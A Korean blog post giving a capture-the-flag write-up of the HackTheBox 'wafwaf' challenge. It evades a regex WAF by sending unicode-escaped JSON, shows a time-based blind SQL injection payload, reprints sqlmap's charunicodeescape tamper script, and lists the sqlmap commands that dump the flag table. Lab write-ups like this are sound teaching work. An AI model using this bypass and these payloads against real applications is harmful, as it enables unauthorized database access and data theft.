🏆 2024

맛집 분야 크리에이터

🏆 2023

IT 분야 크리에이터

👩‍❤️‍👨 구독자 수

183

✒️ 게시글 수

0
https://tistory1.daumcdn.net/tistory/4631271/skin/images/blank.png 네이버블로그

🩷 방문자 추이

오늘

어제

전체

🏆 인기글 순위

티스토리 뷰

보안/Wargame

[Hackthebox] - wafwaf Writeup(문제풀이)

알 수 없는 사용자 2021. 9. 6. 12:13
728x90
반응형

처음에 제공된 URL에 접속하면 바로 아래와 같은 PHP 소스코드가 나옵니다.

<?php error_reporting(0);
require 'config.php';

class db extends Connection {
    public function waf($s) {
        if (preg_match_all('/'. implode('|', array(
            '[' . preg_quote("(*<=>|'&-@") . ']',
            'select', 'and', 'or', 'if', 'by', 'from', 
            'where', 'as', 'is', 'in', 'not', 'having'
        )) . '/i', $s, $matches)) die(var_dump($matches[0]));
        return json_decode($s);
    }

    public function query($sql) {
        $args = func_get_args();
        unset($args[0]);
        return parent::query(vsprintf($sql, $args));
    }
}

$db = new db();

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $obj = $db->waf(file_get_contents('php://input'));
    $db->query("SELECT note FROM notes WHERE assignee = '%s'", $obj->user);
} else {
    die(highlight_file(__FILE__, 1));
}
?>

23번째 줄을 보면 POST 요청이 오면 body의 data 부분을 waf 함수의 인자로 넣고 그 반환 값을 obj 변수에 대입합니다. 그리고 body 에 들어온 json data 중 user 라는 key의 값을 query 문제 대입해서 db 쿼리를 보냅니다.

 

그리고 코드를 보면 알다시피 db 쿼리 문에 대한 응답 결과를 알 수 없습니다. 그렇기 때문에 Blind SQL Injection에 해당하는 문제가 됩니다. 또한 필터링에 대해서는 waf 함수에서 정의하고 있듯이 각종 특수문자 및 sql 쿼리문에 사용되는 단어들을 모두 정규식으로 필터링하고 있으며, 만약에 data 에 해당 정규식에 해당하는 문자열이 들어올 경우 PHP var_dump 함수에 의해 필터링에 매칭된 문자열이 페이지에 출력되며 최종적으로 die 함수에 의해 중단됩니다.

 

Blind SQL Injection 으로 True / False 상태를 알아내야하는데, 이 때 HTTP response 의 내용으로는 그 차이를 구별할 수 없기 때문에 Timebased Blind SQL Injection으로 query 문에 대한 결과를 알아내야하는 것으로 보였습니다.

 

public function waf($s) {
    if (preg_match_all('/'. implode('|', array(
        '[' . preg_quote("(*<=>|'&-@") . ']',
        'select', 'and', 'or', 'if', 'by', 'from', 
        'where', 'as', 'is', 'in', 'not', 'having'
    )) . '/i', $s, $matches)) die(var_dump($matches[0]));
    return json_decode($s);
}

그리고 waf 함수를 잘 보면 json_decode 함수가 필터링 체크하는 부분 다음에 나옵니다. 이 부분이 이번 문제의 핵심이라고 생각됩니다. json 의 경우 rfc 공식문서에 따르면 문자열로 표현될 수 있을 뿐만 아니라 유니코드 형식으로도 표현될 수 있다고 합니다. (참고 : https://datatracker.ietf.org/doc/html/rfc7159#section-8.2)

 

rfc7159

 

datatracker.ietf.org

하지만 필터링을 정의하고 있는 if 문의 정규식을 보면, 유니코드가 아닌 일반 문자열에 대한 필터링을 하고 있기 때문에 $s 변수에 들어온 유니코드 형식의 문자열은 정규식에 부합되지 않아서 필터링이 되지 않을 것이며 json_decode 함수에 인자값으로 들어가야지 비로소 유니코드가 디코딩이 되면서 일반 문자열로 변환될 것이기 때문입니다.

 

그래서 결국 해당 문자열은 아래 query 문에 정상적으로 삽입되어지게 됩니다.

$obj = $db->waf(file_get_contents('php://input'));
$db->query("SELECT note FROM notes WHERE assignee = '%s'", $obj->user);

 

실제로 sleep 함수를 이용해서 query 문을 전송해보았습니다. 페이로드는 다음과 같습니다.

// ' or sleep(10)#
\u0027 \u006f\u0072 \u0073\u006c\u0065\u0065\u0070\u0028\u0031\u0030\u0029\u0023

위 이미지에서 하단의 149 bytes 바로 옆에 보시면 10,259 millis 라고 보입니다. 약 10초 정도 걸린 것으로 보아 sleep 함수가 잘 실행된 것으로 보입니다.

 

자동화 공격을 위해서 sqlmap 도구를 사용했습니다. sqlmap 의 tamper 디렉토리에는 페이로드를 유니코드로 자동변환해주는 파이썬 스크립트가 있습니다. 해당 스크립트를 이용해서 sqlmap을 시도했습니다. 코드는 다음과 같습니다.

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import string

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
    """
    Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054)

    Notes:
        * Useful to bypass weak filtering and/or WAFs in JSON contexes

    >>> tamper('SELECT FIELD FROM TABLE')
    '\\\\u0053\\\\u0045\\\\u004C\\\\u0045\\\\u0043\\\\u0054\\\\u0020\\\\u0046\\\\u0049\\\\u0045\\\\u004C\\\\u0044\\\\u0020\\\\u0046\\\\u0052\\\\u004F\\\\u004D\\\\u0020\\\\u0054\\\\u0041\\\\u0042\\\\u004C\\\\u0045'
    """

    retVal = payload

    if payload:
        retVal = ""
        i = 0

        while i < len(payload):
            if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
                retVal += "\\u00%s" % payload[i + 1:i + 3]
                i += 3
            else:
                retVal += '\\u%.4X' % ord(payload[i])
                i += 1

    return retVal

sqlmap 실행 명령들은 아래와 같습니다.

python sqlmap.py -r wafwaf.txt -tamper charunicodeescape --level=5 --risk=3 --threads=10 --technique=T --dbs --dbms=mysql
python sqlmap.py -r wafwaf.txt -tamper charunicodeescape --level=5 --risk=3 --threads=10 --technique=T --dbs --dbms=mysql -D db_m8452 --tables
python sqlmap.py -r wafwaf.txt -tamper charunicodeescape --level=5 --risk=3 --threads=10 --technique=T --dbs --dbms=mysql -D db_m8452 -T definitely_not_a_flag --dump

wafwaf.txt 파일의 파일 내용은 post 로 요청보낼 때 HTTP 페이로드와 동일합니다.

 

그리고 sqlmap 실행 결과는 아래와 같습니다.

available databases [5]:
[*] db_m8452
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

Database: db_m8452
[2 tables]
+-----------------------+
| definitely_not_a_flag |
| notes                 |
+-----------------------+

Database: db_m8452
Table: definitely_not_a_flag
[1 entry]
+-----------------------------------+
| flag                              |
+-----------------------------------+
| HTB{가려짐}                       |
+-----------------------------------+

결과적으로 위와 같이 플래그를 획득할 수 있었습니다.

728x90
반응형
댓글